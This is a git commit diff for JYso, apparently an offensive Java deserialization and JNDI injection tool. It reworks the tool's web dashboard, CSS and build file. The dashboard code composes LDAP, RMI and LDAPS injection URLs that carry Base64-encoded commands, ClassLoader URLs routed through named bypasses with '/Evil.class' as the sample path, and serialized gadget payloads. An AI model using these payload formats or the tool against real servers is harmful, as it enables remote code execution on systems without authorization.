mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 16:21:52 +08:00
perf:前端大改2
This commit is contained in:
+11
-39
@@ -1,12 +1,8 @@
|
|||||||
import com.github.jengelman.gradle.plugins.shadow.transformers.AppendingTransformer
|
|
||||||
|
|
||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
id 'java-library'
|
id 'java-library'
|
||||||
id 'maven-publish'
|
id 'maven-publish'
|
||||||
id 'com.github.johnrengelman.shadow' version '7.1.2'
|
id 'com.github.johnrengelman.shadow' version '7.1.2'
|
||||||
id 'org.springframework.boot' version '2.7.18'
|
|
||||||
id 'io.spring.dependency-management' version '1.1.7'
|
|
||||||
}
|
}
|
||||||
|
|
||||||
repositories {
|
repositories {
|
||||||
@@ -20,15 +16,6 @@ repositories {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bootJar {
|
|
||||||
enabled = false
|
|
||||||
mainClass = 'com.qi4l.JYso.Starter'
|
|
||||||
}
|
|
||||||
|
|
||||||
springBoot {
|
|
||||||
mainClass = 'com.qi4l.JYso.Starter'
|
|
||||||
}
|
|
||||||
|
|
||||||
jar {
|
jar {
|
||||||
enabled = true
|
enabled = true
|
||||||
}
|
}
|
||||||
@@ -36,14 +23,7 @@ jar {
|
|||||||
shadowJar {
|
shadowJar {
|
||||||
archiveClassifier = ''
|
archiveClassifier = ''
|
||||||
zip64 = true
|
zip64 = true
|
||||||
// minimize() // disabled: too many reflection-based libs get broken
|
|
||||||
mergeServiceFiles()
|
mergeServiceFiles()
|
||||||
transform(AppendingTransformer) {
|
|
||||||
resource = 'META-INF/spring.factories'
|
|
||||||
}
|
|
||||||
transform(AppendingTransformer) {
|
|
||||||
resource = 'META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports'
|
|
||||||
}
|
|
||||||
manifest {
|
manifest {
|
||||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||||
}
|
}
|
||||||
@@ -84,14 +64,13 @@ dependencies {
|
|||||||
implementation 'org.apache.commons:commons-text:1.8'
|
implementation 'org.apache.commons:commons-text:1.8'
|
||||||
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
||||||
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
||||||
implementation 'org.apache.tomcat.embed:tomcat-embed-core'
|
implementation 'org.apache.tomcat:tomcat-catalina:9.0.83'
|
||||||
implementation 'org.apache.tomcat:tomcat-websocket:9.0.83'
|
implementation 'org.apache.tomcat:tomcat-websocket:9.0.83'
|
||||||
implementation 'org.apache.wicket:wicket-util:6.23.0'
|
implementation 'org.apache.wicket:wicket-util:6.23.0'
|
||||||
implementation 'org.aspectj:aspectjweaver:1.9.7'
|
implementation 'org.aspectj:aspectjweaver:1.9.7'
|
||||||
implementation 'org.beanshell:bsh:2.0b5'
|
implementation 'org.beanshell:bsh:2.0b5'
|
||||||
implementation 'org.clojure:clojure:1.8.0'
|
implementation 'org.clojure:clojure:1.8.0'
|
||||||
implementation 'org.codehaus.groovy:groovy:2.5.23'
|
implementation 'org.codehaus.groovy:groovy:2.5.23'
|
||||||
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
|
|
||||||
implementation 'org.fusesource.jansi:jansi:2.4.0'
|
implementation 'org.fusesource.jansi:jansi:2.4.0'
|
||||||
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
|
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
|
||||||
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
|
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
|
||||||
@@ -106,13 +85,13 @@ dependencies {
|
|||||||
implementation 'org.ow2.asm:asm:8.0.1'
|
implementation 'org.ow2.asm:asm:8.0.1'
|
||||||
implementation 'org.python:jython-standalone:2.5.2'
|
implementation 'org.python:jython-standalone:2.5.2'
|
||||||
implementation 'org.reflections:reflections:0.9.10'
|
implementation 'org.reflections:reflections:0.9.10'
|
||||||
implementation 'org.springframework:spring-aop'
|
implementation 'org.springframework:spring-aop:5.3.31'
|
||||||
implementation 'org.springframework:spring-beans'
|
implementation 'org.springframework:spring-beans:5.3.31'
|
||||||
implementation 'org.springframework:spring-context-support'
|
implementation 'org.springframework:spring-context-support:5.3.31'
|
||||||
implementation 'org.springframework:spring-core'
|
implementation 'org.springframework:spring-core:5.3.31'
|
||||||
implementation 'org.springframework:spring-jdbc'
|
implementation 'org.springframework:spring-jdbc:5.3.31'
|
||||||
implementation 'org.springframework:spring-oxm'
|
implementation 'org.springframework:spring-oxm:5.3.31'
|
||||||
implementation 'org.springframework:spring-tx'
|
implementation 'org.springframework:spring-tx:5.3.31'
|
||||||
implementation 'rhino:js:1.7R2'
|
implementation 'rhino:js:1.7R2'
|
||||||
implementation 'rome:rome:1.0'
|
implementation 'rome:rome:1.0'
|
||||||
implementation 'xerces:xercesImpl:2.12.0'
|
implementation 'xerces:xercesImpl:2.12.0'
|
||||||
@@ -146,17 +125,10 @@ dependencies {
|
|||||||
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||||
|
|
||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
implementation 'org.eclipse.jetty:jetty-server:9.4.51.v20230217'
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
|
implementation 'org.eclipse.jetty:jetty-servlet:9.4.51.v20230217'
|
||||||
exclude group: 'ch.qos.logback'
|
implementation 'org.eclipse.jetty:jetty-util:9.4.51.v20230217'
|
||||||
}
|
|
||||||
implementation('org.springframework.boot:spring-boot-starter-security') {
|
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
|
|
||||||
exclude group: 'ch.qos.logback'
|
|
||||||
}
|
|
||||||
|
|
||||||
runtimeOnly libs.org.aspectj.aspectjweaver
|
|
||||||
compileOnly libs.org.apache.tomcat.tomcat.websocket
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -512,6 +512,7 @@ code, pre, .mono {
|
|||||||
padding: 3px;
|
padding: 3px;
|
||||||
gap: 2px;
|
gap: 2px;
|
||||||
transition: background var(--transition-fluid), border-color var(--transition-fluid);
|
transition: background var(--transition-fluid), border-color var(--transition-fluid);
|
||||||
|
min-width: 260px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.tab-segment-control::before {
|
.tab-segment-control::before {
|
||||||
@@ -535,7 +536,8 @@ code, pre, .mono {
|
|||||||
.tab-segment-btn {
|
.tab-segment-btn {
|
||||||
position: relative;
|
position: relative;
|
||||||
z-index: 1;
|
z-index: 1;
|
||||||
padding: 6px 20px;
|
flex: 1;
|
||||||
|
padding: 6px 12px;
|
||||||
border: none;
|
border: none;
|
||||||
border-radius: 9px;
|
border-radius: 9px;
|
||||||
background: transparent;
|
background: transparent;
|
||||||
@@ -548,6 +550,7 @@ code, pre, .mono {
|
|||||||
white-space: nowrap;
|
white-space: nowrap;
|
||||||
letter-spacing: -0.2px;
|
letter-spacing: -0.2px;
|
||||||
-webkit-tap-highlight-color: transparent;
|
-webkit-tap-highlight-color: transparent;
|
||||||
|
text-align: center;
|
||||||
}
|
}
|
||||||
|
|
||||||
.tab-segment-btn:active {
|
.tab-segment-btn:active {
|
||||||
@@ -584,6 +587,27 @@ code, pre, .mono {
|
|||||||
|
|
||||||
.config-form .btn { grid-column: span 2; margin-top: 14px; }
|
.config-form .btn { grid-column: span 2; margin-top: 14px; }
|
||||||
|
|
||||||
|
.gadget-dropdown {
|
||||||
|
position: absolute;
|
||||||
|
top: 100%;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
z-index: 50;
|
||||||
|
background: var(--card-bg);
|
||||||
|
backdrop-filter: blur(24px) saturate(180%);
|
||||||
|
-webkit-backdrop-filter: blur(24px) saturate(180%);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 12px;
|
||||||
|
box-shadow: var(--card-shadow-lg);
|
||||||
|
overflow: hidden;
|
||||||
|
animation: dropdownSlideIn 180ms cubic-bezier(0.22, 0.1, 0, 1) both;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes dropdownSlideIn {
|
||||||
|
from { opacity: 0; transform: translateY(-4px) scale(0.985); }
|
||||||
|
to { opacity: 1; transform: translateY(0) scale(1); }
|
||||||
|
}
|
||||||
|
|
||||||
.gadget-list {
|
.gadget-list {
|
||||||
max-height: 280px;
|
max-height: 280px;
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
@@ -643,11 +667,6 @@ label.form-group {
|
|||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
}
|
}
|
||||||
|
|
||||||
.pill-sun, .pill-moon {
|
|
||||||
font-size: 15px;
|
|
||||||
line-height: 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
@media (max-width: 768px) {
|
||||||
.page-shell { padding: 48px 16px 32px; }
|
.page-shell { padding: 48px 16px 32px; }
|
||||||
.grid-2 { grid-template-columns: 1fr; }
|
.grid-2 { grid-template-columns: 1fr; }
|
||||||
|
|||||||
@@ -15,11 +15,28 @@ export default function Dashboard() {
|
|||||||
const [loading, setLoading] = useState(false)
|
const [loading, setLoading] = useState(false)
|
||||||
const [msg, setMsg] = useState({ success: '', error: '' })
|
const [msg, setMsg] = useState({ success: '', error: '' })
|
||||||
const [toggling, setToggling] = useState(null)
|
const [toggling, setToggling] = useState(null)
|
||||||
|
const [activeJndiTab, setActiveJndiTab] = useState('config')
|
||||||
const [gadgets, setGadgets] = useState([])
|
const [gadgets, setGadgets] = useState([])
|
||||||
const [gadgetSearch, setGadgetSearch] = useState('')
|
const [gadgetSearch, setGadgetSearch] = useState('')
|
||||||
const [selectedGadget, setSelectedGadget] = useState('')
|
const [selectedGadget, setSelectedGadget] = useState('')
|
||||||
const [payloadCmd, setPayloadCmd] = useState('')
|
const [payloadCmd, setPayloadCmd] = useState('')
|
||||||
const [payloadResult, setPayloadResult] = useState('')
|
const [payloadResult, setPayloadResult] = useState('')
|
||||||
|
const [payloadSubTab, setPayloadSubTab] = useState('gadget')
|
||||||
|
const [gadgetOpen, setGadgetOpen] = useState(false)
|
||||||
|
const [jndiPayloadResult, setJndiPayloadResult] = useState('')
|
||||||
|
const [rmiPayloadResult, setRmiPayloadResult] = useState('')
|
||||||
|
const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
|
||||||
|
const [jndiGadgetInput, setJndiGadgetInput] = useState('')
|
||||||
|
const [gadgetModeInput, setGadgetModeInput] = useState('')
|
||||||
|
const [saveFilename, setSaveFilename] = useState('')
|
||||||
|
const [filePath, setFilePath] = useState('')
|
||||||
|
const [classLoaderResult, setClassLoaderResult] = useState('')
|
||||||
|
const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
|
||||||
|
const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
|
||||||
|
const [routing, setRouting] = useState('ELProcessor')
|
||||||
|
const [routingOpen, setRoutingOpen] = useState(false)
|
||||||
|
|
||||||
|
const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
|
||||||
|
|
||||||
const [configForm, setConfigForm] = useState({
|
const [configForm, setConfigForm] = useState({
|
||||||
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
|
ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
|
||||||
@@ -98,10 +115,12 @@ export default function Dashboard() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function handleGeneratePayload() {
|
async function handleGeneratePayload() {
|
||||||
|
const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
|
||||||
|
if (!gadgetName) return
|
||||||
setLoading(true)
|
setLoading(true)
|
||||||
setMsg({ success: '', error: '' })
|
setMsg({ success: '', error: '' })
|
||||||
try {
|
try {
|
||||||
const res = await apiGenerate({ gadget: selectedGadget, command: payloadCmd })
|
const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename })
|
||||||
if (res.data.success) {
|
if (res.data.success) {
|
||||||
setPayloadResult(res.data.message || 'Payload generated successfully')
|
setPayloadResult(res.data.message || 'Payload generated successfully')
|
||||||
setMsg({ success: 'Payload generated', error: '' })
|
setMsg({ success: 'Payload generated', error: '' })
|
||||||
@@ -114,6 +133,68 @@ export default function Dashboard() {
|
|||||||
} finally { setLoading(false) }
|
} finally { setLoading(false) }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function handleGenerateJndiPayload() {
|
||||||
|
const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
|
||||||
|
if (!gadgetName || !payloadCmd) return
|
||||||
|
setLoading(true)
|
||||||
|
setMsg({ success: '', error: '' })
|
||||||
|
setJndiPayloadResult('')
|
||||||
|
setRmiPayloadResult('')
|
||||||
|
setLdapsPayloadResult('')
|
||||||
|
try {
|
||||||
|
const bytes = new TextEncoder().encode(payloadCmd)
|
||||||
|
const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
|
||||||
|
const ipAddr = configForm.ip || '0.0.0.0'
|
||||||
|
const ldapPort = configForm.ldapPort || 1389
|
||||||
|
const rmiPort = configForm.rmiPort || 1099
|
||||||
|
const ldapsPort = configForm.ldapsPort || 1669
|
||||||
|
|
||||||
|
const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
|
||||||
|
const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
|
||||||
|
const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
|
||||||
|
|
||||||
|
setJndiPayloadResult(ldapUrl)
|
||||||
|
setRmiPayloadResult(rmiUrl)
|
||||||
|
setLdapsPayloadResult(ldapsUrl)
|
||||||
|
setMsg({ success: 'Payload URLs generated', error: '' })
|
||||||
|
} catch (e) {
|
||||||
|
setMsg({ success: '', error: 'Failed to generate URL' })
|
||||||
|
} finally { setLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleGenerateClassLoader() {
|
||||||
|
const fp = filePath.trim()
|
||||||
|
const route = routing.trim()
|
||||||
|
if (!fp || !route) return
|
||||||
|
setLoading(true)
|
||||||
|
setMsg({ success: '', error: '' })
|
||||||
|
setClassLoaderResult('')
|
||||||
|
setRmiClassLoaderResult('')
|
||||||
|
setLdapsClassLoaderResult('')
|
||||||
|
if (!fp.toLowerCase().endsWith('.class')) {
|
||||||
|
setMsg({ success: '', error: 'File path must end with .class' })
|
||||||
|
setLoading(false)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const ipAddr = configForm.ip || '0.0.0.0'
|
||||||
|
const ldapPort = configForm.ldapPort || 1389
|
||||||
|
const rmiPort = configForm.rmiPort || 1099
|
||||||
|
const ldapsPort = configForm.ldapsPort || 1669
|
||||||
|
|
||||||
|
const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`
|
||||||
|
const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`
|
||||||
|
const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`
|
||||||
|
|
||||||
|
setClassLoaderResult(ldapUrl)
|
||||||
|
setRmiClassLoaderResult(rmiUrl)
|
||||||
|
setLdapsClassLoaderResult(ldapsUrl)
|
||||||
|
setMsg({ success: 'ClassLoader URLs generated', error: '' })
|
||||||
|
} catch (e) {
|
||||||
|
setMsg({ success: '', error: 'Failed to generate URL' })
|
||||||
|
} finally { setLoading(false) }
|
||||||
|
}
|
||||||
|
|
||||||
function logout() {
|
function logout() {
|
||||||
setAuthToken(null)
|
setAuthToken(null)
|
||||||
navigate('/login', { replace: true })
|
navigate('/login', { replace: true })
|
||||||
@@ -152,14 +233,7 @@ export default function Dashboard() {
|
|||||||
onClick={toggleTheme}
|
onClick={toggleTheme}
|
||||||
aria-label={theme === 'light' ? 'Switch to dark mode' : 'Switch to light mode'}
|
aria-label={theme === 'light' ? 'Switch to dark mode' : 'Switch to light mode'}
|
||||||
title={theme === 'light' ? 'Dark mode' : 'Light mode'}
|
title={theme === 'light' ? 'Dark mode' : 'Light mode'}
|
||||||
>
|
/>
|
||||||
<span className="pill-sun" style={{ position: 'absolute', top: 4, left: 5, opacity: theme === 'dark' ? 0.35 : 1, transition: 'opacity 0.2s' }}>
|
|
||||||
☀️
|
|
||||||
</span>
|
|
||||||
<span className="pill-moon" style={{ position: 'absolute', top: 4, right: 5, opacity: theme === 'dark' ? 1 : 0.35, transition: 'opacity 0.2s' }}>
|
|
||||||
🌙
|
|
||||||
</span>
|
|
||||||
</button>
|
|
||||||
<button className="logout-btn" onClick={logout}>Logout</button>
|
<button className="logout-btn" onClick={logout}>Logout</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -218,8 +292,26 @@ export default function Dashboard() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="glass-card section-enter">
|
<div className="glass-card section-enter">
|
||||||
<h2>Config</h2>
|
<div className="control-bar">
|
||||||
<div className="config-form">
|
<div className={'tab-segment-control' + (activeJndiTab === 'payload' ? ' config-tab' : '')}>
|
||||||
|
<button
|
||||||
|
className={'tab-segment-btn' + (activeJndiTab === 'config' ? ' active' : '')}
|
||||||
|
onClick={() => setActiveJndiTab('config')}
|
||||||
|
>
|
||||||
|
Config
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
className={'tab-segment-btn' + (activeJndiTab === 'payload' ? ' active' : '')}
|
||||||
|
onClick={() => setActiveJndiTab('payload')}
|
||||||
|
>
|
||||||
|
Payload Generator
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{activeJndiTab === 'config' && (
|
||||||
|
<div key="jndi-config" className="tab-content-enter">
|
||||||
|
<div className="config-form">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label>IP Address</label>
|
<label>IP Address</label>
|
||||||
<input type="text" value={configForm.ip}
|
<input type="text" value={configForm.ip}
|
||||||
@@ -280,6 +372,128 @@ export default function Dashboard() {
|
|||||||
{loading ? 'Saving...' : 'Save Configuration'}
|
{loading ? 'Saving...' : 'Save Configuration'}
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{activeJndiTab === 'payload' && (
|
||||||
|
<div key="jndi-payload" className="tab-content-enter">
|
||||||
|
<div className="control-bar">
|
||||||
|
<div className={'tab-segment-control' + (payloadSubTab === 'classloader' ? ' config-tab' : '')}>
|
||||||
|
<button
|
||||||
|
className={'tab-segment-btn' + (payloadSubTab === 'gadget' ? ' active' : '')}
|
||||||
|
onClick={() => setPayloadSubTab('gadget')}
|
||||||
|
>
|
||||||
|
Gadget
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
className={'tab-segment-btn' + (payloadSubTab === 'classloader' ? ' active' : '')}
|
||||||
|
onClick={() => setPayloadSubTab('classloader')}
|
||||||
|
>
|
||||||
|
ClassLoader
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{payloadSubTab === 'gadget' && (
|
||||||
|
<div key="payload-gadget" className="tab-content-enter">
|
||||||
|
<div style={{ position: 'relative' }}>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>Gadget</label>
|
||||||
|
<input type="text"
|
||||||
|
value={jndiGadgetInput}
|
||||||
|
placeholder="Type or search..."
|
||||||
|
onFocus={() => setGadgetOpen(true)}
|
||||||
|
onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
|
||||||
|
onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }}
|
||||||
|
style={{ cursor: 'text' }}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
{gadgetOpen && (
|
||||||
|
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
||||||
|
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
|
||||||
|
{filteredGadgets.map(g => (
|
||||||
|
<div key={g.name}
|
||||||
|
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
|
||||||
|
onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
|
||||||
|
{g.name}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>Command</label>
|
||||||
|
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
|
||||||
|
onChange={e => setPayloadCmd(e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<button className="btn btn-primary" onClick={handleGenerateJndiPayload}
|
||||||
|
disabled={loading || (!(jndiGadgetInput || selectedGadget).trim()) || !payloadCmd}>
|
||||||
|
{loading ? 'Generating...' : 'Generate'}
|
||||||
|
</button>
|
||||||
|
{jndiPayloadResult && (
|
||||||
|
<div className="payload-output" style={{ marginTop: 14 }}>{jndiPayloadResult}</div>
|
||||||
|
)}
|
||||||
|
{rmiPayloadResult && (
|
||||||
|
<div className="payload-output" style={{ marginTop: 8 }}>{rmiPayloadResult}</div>
|
||||||
|
)}
|
||||||
|
{ldapsPayloadResult && (
|
||||||
|
<div className="payload-output" style={{ marginTop: 8 }}>{ldapsPayloadResult}</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{payloadSubTab === 'classloader' && (
|
||||||
|
<div key="payload-classloader" className="tab-content-enter">
|
||||||
|
<div style={{ position: 'relative' }}>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>Routing</label>
|
||||||
|
<input type="text"
|
||||||
|
value={routing}
|
||||||
|
placeholder="Select route..."
|
||||||
|
onFocus={() => setRoutingOpen(true)}
|
||||||
|
onBlur={() => setTimeout(() => setRoutingOpen(false), 150)}
|
||||||
|
onChange={e => setRouting(e.target.value)}
|
||||||
|
style={{ cursor: 'text' }}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
{routingOpen && (
|
||||||
|
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
||||||
|
<div className="gadget-list" style={{ maxHeight: 220, border: 'none', borderRadius: 12 }}>
|
||||||
|
{ROUTING_OPTIONS.map(opt => (
|
||||||
|
<div key={opt}
|
||||||
|
className={'gadget-item' + (routing === opt ? ' selected' : '')}
|
||||||
|
onMouseDown={e => { e.preventDefault(); setRouting(opt); setRoutingOpen(false); }}>
|
||||||
|
{opt}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>FilePath</label>
|
||||||
|
<input type="text" value={filePath}
|
||||||
|
placeholder="e.g. /Evil.class"
|
||||||
|
onChange={e => setFilePath(e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<button className="btn btn-primary" onClick={handleGenerateClassLoader}
|
||||||
|
disabled={loading || !filePath.trim() || !routing.trim()}>
|
||||||
|
{loading ? 'Generating...' : 'Generate'}
|
||||||
|
</button>
|
||||||
|
{classLoaderResult && (
|
||||||
|
<div className="payload-output" style={{ marginTop: 14 }}>{classLoaderResult}</div>
|
||||||
|
)}
|
||||||
|
{rmiClassLoaderResult && (
|
||||||
|
<div className="payload-output" style={{ marginTop: 8 }}>{rmiClassLoaderResult}</div>
|
||||||
|
)}
|
||||||
|
{ldapsClassLoaderResult && (
|
||||||
|
<div className="payload-output" style={{ marginTop: 8 }}>{ldapsClassLoaderResult}</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
@@ -287,40 +501,50 @@ export default function Dashboard() {
|
|||||||
{mode === 'gadget' && (
|
{mode === 'gadget' && (
|
||||||
<div className="glass-card section-enter">
|
<div className="glass-card section-enter">
|
||||||
<h2>Payload Generator</h2>
|
<h2>Payload Generator</h2>
|
||||||
<div className="grid-2">
|
<div style={{ position: 'relative' }}>
|
||||||
<div>
|
<div className="form-group">
|
||||||
<h3 style={{ fontSize: 13, marginBottom: 10, color: 'var(--text-secondary)', fontWeight: 600, textTransform: 'uppercase', letterSpacing: 0.5 }}>
|
<label>Gadget</label>
|
||||||
Select Gadget
|
<input type="text"
|
||||||
</h3>
|
value={gadgetModeInput}
|
||||||
<div className="form-group">
|
placeholder="Type or search..."
|
||||||
<input type="text" placeholder="Search..." value={gadgetSearch}
|
onFocus={() => setGadgetOpen(true)}
|
||||||
onChange={e => setGadgetSearch(e.target.value)} />
|
onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
|
||||||
</div>
|
onChange={e => { setGadgetModeInput(e.target.value); setGadgetSearch(e.target.value); }}
|
||||||
<div className="gadget-list">
|
style={{ cursor: 'text' }}
|
||||||
{filteredGadgets.map(g => (
|
/>
|
||||||
<div key={g.name}
|
|
||||||
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
|
|
||||||
onClick={() => setSelectedGadget(g.name)}>
|
|
||||||
{g.name}
|
|
||||||
</div>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
<div>
|
{gadgetOpen && (
|
||||||
<div className="form-group">
|
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
||||||
<label>Command</label>
|
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
|
||||||
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
|
{filteredGadgets.map(g => (
|
||||||
onChange={e => setPayloadCmd(e.target.value)} />
|
<div key={g.name}
|
||||||
|
className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
|
||||||
|
onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setGadgetModeInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
|
||||||
|
{g.name}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<button className="btn btn-primary" onClick={handleGeneratePayload}
|
)}
|
||||||
disabled={loading || !selectedGadget}>
|
|
||||||
{loading ? 'Generating...' : 'Generate Payload'}
|
|
||||||
</button>
|
|
||||||
{payloadResult && (
|
|
||||||
<div className="payload-output">{payloadResult}</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>Command</label>
|
||||||
|
<textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
|
||||||
|
onChange={e => setPayloadCmd(e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label>Save As (leave empty to discard)</label>
|
||||||
|
<input type="text" value={saveFilename}
|
||||||
|
placeholder="e.g. payload.ser"
|
||||||
|
onChange={e => setSaveFilename(e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<button className="btn btn-primary" onClick={handleGeneratePayload}
|
||||||
|
disabled={loading || !(gadgetModeInput || selectedGadget).trim()}>
|
||||||
|
{loading ? 'Generating...' : 'Generate'}
|
||||||
|
</button>
|
||||||
|
{payloadResult && (
|
||||||
|
<div className="payload-output" style={{ marginTop: 14 }}>{payloadResult}</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -115,12 +115,6 @@ public class Config {
|
|||||||
for (String line : lines) {
|
for (String line : lines) {
|
||||||
System.out.println(" " + line);
|
System.out.println(" " + line);
|
||||||
}
|
}
|
||||||
|
|
||||||
System.exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (showVersion) {
|
|
||||||
System.exit(0);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//获取当前 Jar 的名称
|
//获取当前 Jar 的名称
|
||||||
@@ -129,7 +123,6 @@ public class Config {
|
|||||||
|
|
||||||
if (help) {
|
if (help) {
|
||||||
jc.usage(); //if -h specified, show help and exit
|
jc.usage(); //if -h specified, show help and exit
|
||||||
System.exit(0);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 特别注意:最后一个反斜杠不能少啊
|
// 特别注意:最后一个反斜杠不能少啊
|
||||||
|
|||||||
@@ -17,7 +17,6 @@ import java.nio.file.Paths;
|
|||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||||
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
|
|
||||||
|
|
||||||
public class ysoserial {
|
public class ysoserial {
|
||||||
|
|
||||||
@@ -88,7 +87,6 @@ public class ysoserial {
|
|||||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||||
printUsage(options);
|
printUsage(options);
|
||||||
System.exit(1);
|
System.exit(1);
|
||||||
return;
|
|
||||||
}
|
